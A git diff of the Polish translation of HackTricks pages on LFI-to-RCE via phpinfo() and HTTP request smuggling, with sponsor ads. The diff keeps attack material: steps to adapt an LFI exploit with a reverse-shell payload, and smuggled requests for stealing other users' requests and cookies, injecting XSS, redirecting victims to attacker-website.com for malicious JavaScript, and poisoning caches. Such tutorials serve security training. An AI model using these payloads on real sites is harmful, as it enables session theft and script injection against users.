**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
Aby wykorzystać tę lukę, potrzebujesz: **Luki LFI, strony, na której wyświetlany jest phpinfo(), "file\_uploads = on" oraz serwer musi mieć możliwość zapisu w katalogu "/tmp".**
|
||||
Aby wykorzystać tę lukę, potrzebujesz: **Luki LFI, strony, na której wyświetlana jest phpinfo(), "file\_uploads = on" oraz serwer musi mieć możliwość zapisu w katalogu "/tmp".**
|
||||
|
||||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||
|
||||
|
@ -32,7 +32,7 @@ Musisz naprawić exploit (zmień **=>** na **=>**). Aby to zrobić, możesz:
|
|||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
Musisz również zmienić **ładunek** na początku exploita (na przykład na php-rev-shell), **REQ1** (to powinno wskazywać na stronę phpinfo i powinno zawierać padding, tzn.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), oraz **LFIREQ** (to powinno wskazywać na lukę LFI, tzn.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Sprawdź podwójne "%" podczas wykorzystywania znaku null)
|
||||
Musisz również zmienić **payload** na początku exploita (na przykład na php-rev-shell), **REQ1** (to powinno wskazywać na stronę phpinfo i powinno zawierać padding, tzn.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), oraz **LFIREQ** (to powinno wskazywać na lukę LFI, tzn.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Sprawdź podwójne "%" podczas wykorzystywania znaku null)
|
||||
|
||||
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
|
||||
|
@ -44,7 +44,7 @@ Jeśli znajdziesz lukę LFI w serwerze WWW, możesz spróbować odgadnąć nazw
|
|||
|
||||
W **Windows** pliki są zazwyczaj przechowywane w **C:\Windows\temp\php**
|
||||
|
||||
W **linux** nazwa pliku zwykle jest **losowa** i znajduje się w **/tmp**. Ponieważ nazwa jest losowa, konieczne jest **wyodrębnienie skądś nazwy pliku tymczasowego** i uzyskanie do niego dostępu, zanim zostanie usunięty. Można to zrobić, odczytując wartość **zmiennej $\_FILES** wewnątrz treści funkcji "**phpconfig()**".
|
||||
W **linux** nazwa pliku zazwyczaj jest **losowa** i znajduje się w **/tmp**. Ponieważ nazwa jest losowa, konieczne jest **wyodrębnienie skądś nazwy pliku tymczasowego** i uzyskanie do niego dostępu, zanim zostanie usunięty. Można to zrobić, odczytując wartość **zmiennej $\_FILES** wewnątrz treści funkcji "**phpconfig()**".
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
|
@ -74,9 +74,9 @@ print('[x] Something went wrong, please try again')
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -10,16 +10,16 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonywujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -54,7 +54,7 @@ Pamiętaj, że w HTTP **znak nowej linii składa się z 2 bajtów:**
|
|||
|
||||
* **Content-Length**: Ten nagłówek używa **liczby dziesiętnej** do wskazania **liczby** **bajtów** ciała żądania. Oczekuje się, że ciało zakończy się na ostatnim znaku, **znak nowej linii nie jest potrzebny na końcu żądania**.
|
||||
* **Transfer-Encoding:** Ten nagłówek używa w **ciele** **liczby szesnastkowej** do wskazania **liczby** **bajtów** **następnego kawałka**. **Kawałek** musi **kończyć się** znakiem **nowej linii**, ale ten nowy znak **nie jest liczony** przez wskaźnik długości. Ta metoda transferu musi kończyć się **kawałkiem o rozmiarze 0, po którym następują 2 nowe linie**: `0`
|
||||
* **Connection**: Na podstawie mojego doświadczenia zaleca się użycie **`Connection: keep-alive`** w pierwszym żądaniu w przypadku Request Smuggling.
|
||||
* **Connection**: Na podstawie mojego doświadczenia zaleca się użycie **`Connection: keep-alive`** w pierwszym żądaniu w request Smuggling.
|
||||
|
||||
## Podstawowe przykłady
|
||||
|
||||
|
@ -79,7 +79,7 @@ Do poprzedniej tabeli powinieneś dodać technikę TE.0, jak technikę CL.0, ale
|
|||
* **Scenariusz ataku:**
|
||||
* Atakujący wysyła żądanie, w którym wartość nagłówka `Content-Length` nie odpowiada rzeczywistej długości treści.
|
||||
* Serwer front-end przesyła całe żądanie do back-endu, na podstawie wartości `Content-Length`.
|
||||
* Serwer back-end przetwarza żądanie jako kawałkowane z powodu nagłówka `Transfer-Encoding: chunked`, interpretując pozostałe dane jako osobne, następne żądanie.
|
||||
* Serwer back-end przetwarza żądanie jako kawałkowe z powodu nagłówka `Transfer-Encoding: chunked`, interpretując pozostałe dane jako osobne, następne żądanie.
|
||||
* **Przykład:**
|
||||
|
||||
```
|
||||
|
@ -100,7 +100,7 @@ Foo: x
|
|||
* **Front-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`.
|
||||
* **Back-End (CL):** Przetwarza żądanie na podstawie nagłówka `Content-Length`.
|
||||
* **Scenariusz ataku:**
|
||||
* Atakujący wysyła żądanie kawałkowane, w którym rozmiar kawałka (`7b`) i rzeczywista długość treści (`Content-Length: 4`) nie są zgodne.
|
||||
* Atakujący wysyła żądanie kawałkowe, w którym rozmiar kawałka (`7b`) i rzeczywista długość treści (`Content-Length: 4`) nie są zgodne.
|
||||
* Serwer front-end, honorując `Transfer-Encoding`, przesyła całe żądanie do back-endu.
|
||||
* Serwer back-end, respektując `Content-Length`, przetwarza tylko początkową część żądania (`7b` bajtów), pozostawiając resztę jako część niezamierzonego następnego żądania.
|
||||
* **Przykład:**
|
||||
|
@ -128,8 +128,8 @@ x=
|
|||
* **Serwery:** Oba wspierają `Transfer-Encoding`, ale jeden może być oszukany, aby go zignorować poprzez obfuskację.
|
||||
* **Scenariusz ataku:**
|
||||
* Atakujący wysyła żądanie z obfuskowanymi nagłówkami `Transfer-Encoding`.
|
||||
* W zależności od tego, który serwer (front-end czy back-end) nie rozpozna obfuskacji, może zostać wykorzystana luka CL.TE lub TE.CL.
|
||||
* Niezrealizowana część żądania, widziana przez jeden z serwerów, staje się częścią następnego żądania, prowadząc do smugglingu.
|
||||
* W zależności od tego, który serwer (front-end lub back-end) nie rozpozna obfuskacji, może zostać wykorzystana luka CL.TE lub TE.CL.
|
||||
* Nieprzetworzona część żądania, widziana przez jeden z serwerów, staje się częścią następnego żądania, prowadząc do smugglingu.
|
||||
* **Przykład:**
|
||||
|
||||
```
|
||||
|
@ -205,7 +205,7 @@ EMPTY_LINE_HERE
|
|||
|
||||
Ta technika jest również przydatna w scenariuszach, w których możliwe jest **złamanie serwera WWW podczas odczytywania początkowych danych HTTP**, ale **bez zamykania połączenia**. W ten sposób **ciało** żądania HTTP będzie traktowane jako **następne żądanie HTTP**.
|
||||
|
||||
Na przykład, jak wyjaśniono w [**tym opisie**](https://mizu.re/post/twisty-python), w Werkzeug możliwe było wysłanie niektórych **znaków Unicode**, co spowodowało **złamanie** serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem **`Connection: keep-alive`**, ciało żądania nie zostanie odczytane, a połączenie nadal będzie otwarte, więc **ciało** żądania będzie traktowane jako **następne żądanie HTTP**.
|
||||
Na przykład, jak wyjaśniono w [**tym artykule**](https://mizu.re/post/twisty-python), w Werkzeug możliwe było wysłanie niektórych **znaków Unicode**, co spowodowało **złamanie** serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem **`Connection: keep-alive`**, ciało żądania nie zostanie odczytane, a połączenie pozostanie otwarte, więc **ciało** żądania będzie traktowane jako **następne żądanie HTTP**.
|
||||
|
||||
#### Wymuszanie przez nagłówki hop-by-hop
|
||||
|
||||
|
@ -221,9 +221,9 @@ For **więcej informacji na temat nagłówków hop-by-hop** odwiedź:
|
|||
|
||||
## Znajdowanie HTTP Request Smuggling
|
||||
|
||||
Identyfikacja podatności na HTTP request smuggling często może być osiągnięta za pomocą technik czasowych, które polegają na obserwowaniu, jak długo trwa odpowiedź serwera na manipulowane żądania. Techniki te są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności:
|
||||
Identyfikacja luk w HTTP request smuggling często może być osiągnięta za pomocą technik czasowych, które polegają na obserwowaniu, jak długo trwa odpowiedź serwera na manipulowane żądania. Techniki te są szczególnie przydatne do wykrywania luk CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich luk:
|
||||
|
||||
### Znajdowanie podatności CL.TE za pomocą technik czasowych
|
||||
### Znajdowanie luk CL.TE za pomocą technik czasowych
|
||||
|
||||
* **Metoda:**
|
||||
* Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer zaplecza będzie czekał na dodatkowe dane.
|
||||
|
@ -244,10 +244,10 @@ A
|
|||
* Serwer front-end przetwarza żądanie na podstawie `Content-Length` i przedwcześnie przerywa wiadomość.
|
||||
* Serwer zaplecza, oczekując na wiadomość w formacie chunked, czeka na następny kawałek, który nigdy nie nadchodzi, co powoduje opóźnienie.
|
||||
* **Wskaźniki:**
|
||||
* Przekroczenia czasu oczekiwania lub długie opóźnienia w odpowiedzi.
|
||||
* Przekroczenia czasu lub długie opóźnienia w odpowiedzi.
|
||||
* Otrzymanie błędu 400 Bad Request od serwera zaplecza, czasami z szczegółowymi informacjami o serwerze.
|
||||
|
||||
### Znajdowanie podatności TE.CL za pomocą technik czasowych
|
||||
### Znajdowanie luk TE.CL za pomocą technik czasowych
|
||||
|
||||
* **Metoda:**
|
||||
* Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer zaplecza będzie czekał na dodatkowe dane.
|
||||
|
@ -267,29 +267,29 @@ X
|
|||
* Serwer front-end przetwarza żądanie na podstawie `Transfer-Encoding` i przesyła całą wiadomość.
|
||||
* Serwer zaplecza, oczekując na wiadomość na podstawie `Content-Length`, czeka na dodatkowe dane, które nigdy nie nadchodzą, co powoduje opóźnienie.
|
||||
|
||||
### Inne metody znajdowania podatności
|
||||
### Inne metody znajdowania luk
|
||||
|
||||
* **Analiza odpowiedzi różnicowych:**
|
||||
* Wyślij nieco zmienione wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w niespodziewany sposób, co wskazuje na niezgodność w analizie.
|
||||
* Wyślij nieco zmienione wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w nieoczekiwany sposób, co wskazuje na niezgodność w analizie.
|
||||
* **Używanie narzędzi automatycznych:**
|
||||
* Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' w Burp Suite mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
|
||||
* Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' w Burp Suite mogą automatycznie testować te luki, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
|
||||
* **Testy wariancji Content-Length:**
|
||||
* Wyślij żądania z różnymi wartościami `Content-Length`, które nie są zgodne z rzeczywistą długością treści i obserwuj, jak serwer radzi sobie z takimi niezgodnościami.
|
||||
* **Testy wariancji Transfer-Encoding:**
|
||||
* Wyślij żądania z zafałszowanymi lub źle sformułowanymi nagłówkami `Transfer-Encoding` i monitoruj, jak różnie serwery front-end i zaplecza reagują na takie manipulacje.
|
||||
|
||||
### Testowanie podatności na HTTP Request Smuggling
|
||||
### Testowanie luk w HTTP Request Smuggling
|
||||
|
||||
Po potwierdzeniu skuteczności technik czasowych, kluczowe jest zweryfikowanie, czy żądania klienta mogą być manipulowane. Prosta metoda to próba zainfekowania swoich żądań, na przykład, aby żądanie do `/` zwróciło odpowiedź 404. Przykłady `CL.TE` i `TE.CL` omówione wcześniej w [Podstawowych przykładach](./#basic-examples) pokazują, jak zainfekować żądanie klienta, aby wywołać odpowiedź 404, mimo że klient dążył do uzyskania dostępu do innego zasobu.
|
||||
Po potwierdzeniu skuteczności technik czasowych, kluczowe jest zweryfikowanie, czy żądania klienta mogą być manipulowane. Prosta metoda to próba zainfekowania swoich żądań, na przykład, aby żądanie do `/` zwróciło odpowiedź 404. Przykłady `CL.TE` i `TE.CL`, omówione wcześniej w [Podstawowych przykładach](./#basic-examples), pokazują, jak zainfekować żądanie klienta, aby wywołać odpowiedź 404, mimo że klient dążył do uzyskania dostępu do innego zasobu.
|
||||
|
||||
**Kluczowe uwagi**
|
||||
|
||||
Podczas testowania podatności na request smuggling poprzez zakłócanie innych żądań, pamiętaj o:
|
||||
Podczas testowania luk w request smuggling poprzez zakłócanie innych żądań, pamiętaj o:
|
||||
|
||||
* **Oddzielnych połączeniach sieciowych:** Żądania "atakujące" i "normalne" powinny być wysyłane przez oddzielne połączenia sieciowe. Wykorzystanie tego samego połączenia dla obu nie potwierdza obecności podatności.
|
||||
* **Spójnych URL i parametrów:** Staraj się używać identycznych URL i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów zaplecza na podstawie URL i parametrów. Dopasowanie ich zwiększa prawdopodobieństwo, że oba żądania będą przetwarzane przez ten sam serwer, co jest warunkiem udanego ataku.
|
||||
* **Warunków czasowych i wyścigowych:** Żądanie "normalne", mające na celu wykrycie zakłóceń ze strony żądania "atakującego", konkuruje z innymi równoległymi żądaniami aplikacji. Dlatego wyślij żądanie "normalne" natychmiast po żądaniu "atakującym". Zajęte aplikacje mogą wymagać wielu prób, aby potwierdzić podatność.
|
||||
* **Wyzwania związane z równoważeniem obciążenia:** Serwery front-end działające jako równoważniki obciążenia mogą rozdzielać żądania między różne systemy zaplecza. Jeśli żądania "atakujące" i "normalne" trafią na różne systemy, atak nie powiedzie się. Ten aspekt równoważenia obciążenia może wymagać kilku prób, aby potwierdzić podatność.
|
||||
* **Oddzielnych połączeniach sieciowych:** "atak" i "normalne" żądania powinny być wysyłane przez oddzielne połączenia sieciowe. Wykorzystanie tego samego połączenia dla obu nie potwierdza obecności luki.
|
||||
* **Spójnych URL i parametrów:** Staraj się używać identycznych URL i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów zaplecza na podstawie URL i parametrów. Dopasowanie tych elementów zwiększa prawdopodobieństwo, że oba żądania będą przetwarzane przez ten sam serwer, co jest warunkiem udanego ataku.
|
||||
* **Warunków czasowych i wyścigowych:** "normalne" żądanie, mające na celu wykrycie zakłóceń ze strony "atakującego" żądania, konkuruje z innymi równoległymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie natychmiast po "atakującym" żądaniu. Zajęte aplikacje mogą wymagać wielu prób, aby potwierdzić lukę.
|
||||
* **Wyzwania związane z równoważeniem obciążenia:** Serwery front-end działające jako równoważniki obciążenia mogą rozdzielać żądania między różne systemy zaplecza. Jeśli "atak" i "normalne" żądania trafią na różne systemy, atak nie powiedzie się. Ten aspekt równoważenia obciążenia może wymagać kilku prób, aby potwierdzić lukę.
|
||||
* **Niezamierzony wpływ na użytkowników:** Jeśli twój atak niezamierzenie wpływa na żądanie innego użytkownika (nie "normalne" żądanie, które wysłałeś w celu wykrycia), wskazuje to, że twój atak wpłynął na innego użytkownika aplikacji. Ciągłe testowanie może zakłócać innych użytkowników, co wymaga ostrożnego podejścia.
|
||||
|
||||
## Wykorzystywanie HTTP Request Smuggling
|
||||
|
@ -341,7 +341,7 @@ W przeciwnym razie, w ataku TE.CL, początkowe żądanie `POST` używa `Transfer
|
|||
|
||||
Aplikacje często wykorzystują **serwer front-endowy** do modyfikacji przychodzących żądań przed ich przekazaniem do serwera back-endowego. Typowa modyfikacja polega na dodawaniu nagłówków, takich jak `X-Forwarded-For: <IP klienta>`, aby przekazać IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na **obejście zabezpieczeń** lub **ujawnienie ukrytych informacji lub punktów końcowych**.
|
||||
|
||||
Aby zbadać, jak proxy zmienia żądanie, zlokalizuj parametr POST, który back-end odzwierciedla w odpowiedzi. Następnie stwórz żądanie, używając tego parametru na końcu, podobnie jak w poniższym przykładzie:
|
||||
Aby zbadać, jak proxy zmienia żądanie, zlokalizuj parametr POST, który back-end odzwierciedla w odpowiedzi. Następnie stwórz żądanie, używając tego parametru jako ostatniego, podobnie jak w poniższym przykładzie:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -366,7 +366,7 @@ Ta technika ma również zastosowanie w kontekście podatności TE.CL, ale żąd
|
|||
|
||||
Metoda ta służy głównie do zrozumienia modyfikacji żądania dokonanych przez proxy front-end, zasadniczo przeprowadzając samodzielne dochodzenie.
|
||||
|
||||
### Przechwytywanie żądań innych użytkowników <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Możliwe jest przechwycenie żądań następnego użytkownika, dołączając konkretne żądanie jako wartość parametru podczas operacji POST. Oto jak można to osiągnąć:
|
||||
|
||||
|
@ -390,9 +390,9 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
|||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
W tym scenariuszu, **parametr komentarza** ma na celu przechowywanie treści w sekcji komentarzy posta na publicznie dostępnym stronie. W związku z tym, zawartość kolejnego żądania pojawi się jako komentarz.
|
||||
W tym scenariuszu, **parametr komentarza** ma na celu przechowywanie treści w sekcji komentarzy posta na publicznie dostępnym stronie. W związku z tym, treść kolejnego żądania pojawi się jako komentarz.
|
||||
|
||||
Jednak ta technika ma ograniczenia. Zazwyczaj przechwytuje dane tylko do ogranicznika parametru używanego w przemycanym żądaniu. Dla przesyłania formularzy zakodowanych w URL, tym ogranicznikiem jest znak `&`. Oznacza to, że przechwycona zawartość z żądania użytkownika ofiary zatrzyma się na pierwszym `&`, który może być nawet częścią ciągu zapytania.
|
||||
Jednak ta technika ma ograniczenia. Zazwyczaj przechwytuje dane tylko do ogranicznika parametru używanego w przemycanym żądaniu. Dla formularzy zakodowanych w URL, tym ogranicznikiem jest znak `&`. Oznacza to, że przechwycona treść z żądania użytkownika ofiary zatrzyma się na pierwszym `&`, który może być nawet częścią ciągu zapytania.
|
||||
|
||||
Dodatkowo, warto zauważyć, że podejście to jest również wykonalne w przypadku podatności TE.CL. W takich przypadkach, żądanie powinno kończyć się na `search=\r\n0`. Niezależnie od znaków nowej linii, wartości będą dołączane do parametru wyszukiwania.
|
||||
|
||||
|
@ -403,7 +403,7 @@ Przemycanie żądań HTTP może być wykorzystane do eksploatacji stron internet
|
|||
* Interakcja z docelowymi użytkownikami **nie jest wymagana**.
|
||||
* Umożliwia eksploatację XSS w częściach żądania, które są **normalnie niedostępne**, jak nagłówki żądań HTTP.
|
||||
|
||||
W scenariuszach, w których strona internetowa jest podatna na odzwierciedlone XSS przez nagłówek User-Agent, poniższy ładunek demonstruje, jak wykorzystać tę podatność:
|
||||
W scenariuszach, w których strona internetowa jest podatna na odzwierciedlone XSS poprzez nagłówek User-Agent, poniższy ładunek demonstruje, jak wykorzystać tę podatność:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
|
@ -426,21 +426,21 @@ A=
|
|||
```
|
||||
Ten ładunek jest skonstruowany w celu wykorzystania luki poprzez:
|
||||
|
||||
1. Inicjowanie żądania `POST`, które wydaje się typowe, z nagłówkiem `Transfer-Encoding: chunked`, aby wskazać początek smugglingu.
|
||||
2. Następnie, po nim, pojawia się `0`, oznaczające koniec ciała wiadomości chunked.
|
||||
3. Potem wprowadzane jest smuggled `GET` żądanie, w którym nagłówek `User-Agent` jest wstrzykiwany skryptem, `<script>alert(1)</script>`, co wywołuje XSS, gdy serwer przetwarza to kolejne żądanie.
|
||||
1. Inicjowanie żądania `POST`, pozornie typowego, z nagłówkiem `Transfer-Encoding: chunked`, aby wskazać początek smugglingu.
|
||||
2. Następnie, z `0`, oznaczającym koniec ciała wiadomości chunked.
|
||||
3. Potem wprowadzane jest smuggled `GET` żądanie, w którym nagłówek `User-Agent` jest wstrzykiwany z skryptem, `<script>alert(1)</script>`, wywołującym XSS, gdy serwer przetwarza to kolejne żądanie.
|
||||
|
||||
Manipulując `User-Agent` poprzez smuggling, ładunek omija normalne ograniczenia żądań, tym samym wykorzystując lukę Reflected XSS w niestandardowy, ale skuteczny sposób.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
{% hint style="danger" %}
|
||||
W przypadku, gdy zawartość użytkownika jest odzwierciedlana w odpowiedzi z **`Content-type`** takim jak **`text/plain`**, co uniemożliwia wykonanie XSS. Jeśli serwer obsługuje **HTTP/0.9, może być możliwe ominięcie tego**!
|
||||
W przypadku, gdy zawartość użytkownika jest odzwierciedlana w odpowiedzi z **`Content-type`** takim jak **`text/plain`**, zapobiegając wykonaniu XSS. Jeśli serwer obsługuje **HTTP/0.9, może być możliwe ominięcie tego**!
|
||||
{% endhint %}
|
||||
|
||||
Wersja HTTP/0.9 była wcześniejsza od 1.0 i używa tylko czasowników **GET** oraz **nie** odpowiada nagłówkami, tylko ciałem.
|
||||
|
||||
W [**tym opisie**](https://mizu.re/post/twisty-python) to zostało nadużyte z wykorzystaniem smugglingu żądania i **vulnerable endpoint, który odpowie na dane wejściowe użytkownika**, aby smuggled żądanie z HTTP/0.9. Parametr, który będzie odzwierciedlany w odpowiedzi, zawierał **fałszywą odpowiedź HTTP/1.1 (z nagłówkami i ciałem)**, więc odpowiedź będzie zawierać ważny wykonawczy kod JS z `Content-Type` równym `text/html`.
|
||||
W [**tym opisie**](https://mizu.re/post/twisty-python) to zostało nadużyte z wykorzystaniem smugglingu żądań i **vulnerable endpoint, który odpowie na dane wejściowe użytkownika**, aby smuggled żądanie z HTTP/0.9. Parametr, który będzie odzwierciedlony w odpowiedzi, zawierał **fałszywą odpowiedź HTTP/1.1 (z nagłówkami i ciałem)**, więc odpowiedź będzie zawierać ważny wykonawczy kod JS z `Content-Type` równym `text/html`.
|
||||
|
||||
### Wykorzystywanie przekierowań na stronie z użyciem HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
|
@ -468,7 +468,7 @@ GET /home HTTP/1.1
|
|||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
To żądanie przemycone może spowodować, że następne przetworzone żądanie użytkownika zostanie przekierowane na stronę kontrolowaną przez atakującego:
|
||||
Ten przemycony żądanie może spowodować, że następne przetworzone żądanie użytkownika zostanie przekierowane na stronę kontrolowaną przez atakującego:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
|
@ -480,11 +480,11 @@ Wyniki w:
|
|||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
W tym scenariuszu żądanie użytkownika dotyczące pliku JavaScript jest przechwytywane. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy JavaScript w odpowiedzi.
|
||||
W tym scenariuszu żądanie użytkownika dotyczące pliku JavaScript jest przejmowane. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy JavaScript w odpowiedzi.
|
||||
|
||||
### Wykorzystywanie złośliwego zatrucia pamięci podręcznej przez HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Zatrucie pamięci podręcznej w sieci może być zrealizowane, jeśli jakikolwiek komponent **infrastruktury front-endowej buforuje treści**, zazwyczaj w celu poprawy wydajności. Manipulując odpowiedzią serwera, możliwe jest **zatrucie pamięci podręcznej**.
|
||||
Zatrucie pamięci podręcznej może być wykonane, jeśli jakikolwiek komponent **infrastruktury front-endowej buforuje treści**, zazwyczaj w celu poprawy wydajności. Manipulując odpowiedzią serwera, możliwe jest **zatrucie pamięci podręcznej**.
|
||||
|
||||
Wcześniej zaobserwowaliśmy, jak odpowiedzi serwera mogą być zmieniane, aby zwracały błąd 404 (zobacz [Podstawowe przykłady](./#basic-examples)). Podobnie, możliwe jest oszukanie serwera, aby dostarczył treść `/index.html` w odpowiedzi na żądanie dotyczące `/static/include.js`. W konsekwencji treść `/static/include.js` zostaje zastąpiona w pamięci podręcznej treścią `/index.html`, co sprawia, że `/static/include.js` staje się niedostępne dla użytkowników, co potencjalnie prowadzi do Denial of Service (DoS).
|
||||
|
||||
|
@ -508,9 +508,9 @@ Content-Length: 10
|
|||
|
||||
x=1
|
||||
```
|
||||
Zauważ osadzony żądanie skierowane do `/post/next?postId=3`. To żądanie zostanie przekierowane do `/post?postId=4`, wykorzystując **wartość nagłówka Host** do określenia domeny. Poprzez zmianę **nagłówka Host**, atakujący może przekierować żądanie do swojej domeny (**przekierowanie na stronie do otwartego przekierowania**).
|
||||
Zauważ osadzony żądanie skierowane do `/post/next?postId=3`. To żądanie zostanie przekierowane do `/post?postId=4`, wykorzystując wartość **nagłówka Host** do określenia domeny. Poprzez zmianę **nagłówka Host**, atakujący może przekierować żądanie do swojej domeny (**przekierowanie na stronie do otwartego przekierowania**).
|
||||
|
||||
Po udanym **zatruciu gniazda**, powinno zostać zainicjowane **żądanie GET** dla `/static/include.js`. To żądanie zostanie zanieczyszczone przez wcześniejsze **przekierowanie na stronie do otwartego przekierowania** i pobierze zawartość skryptu kontrolowanego przez atakującego.
|
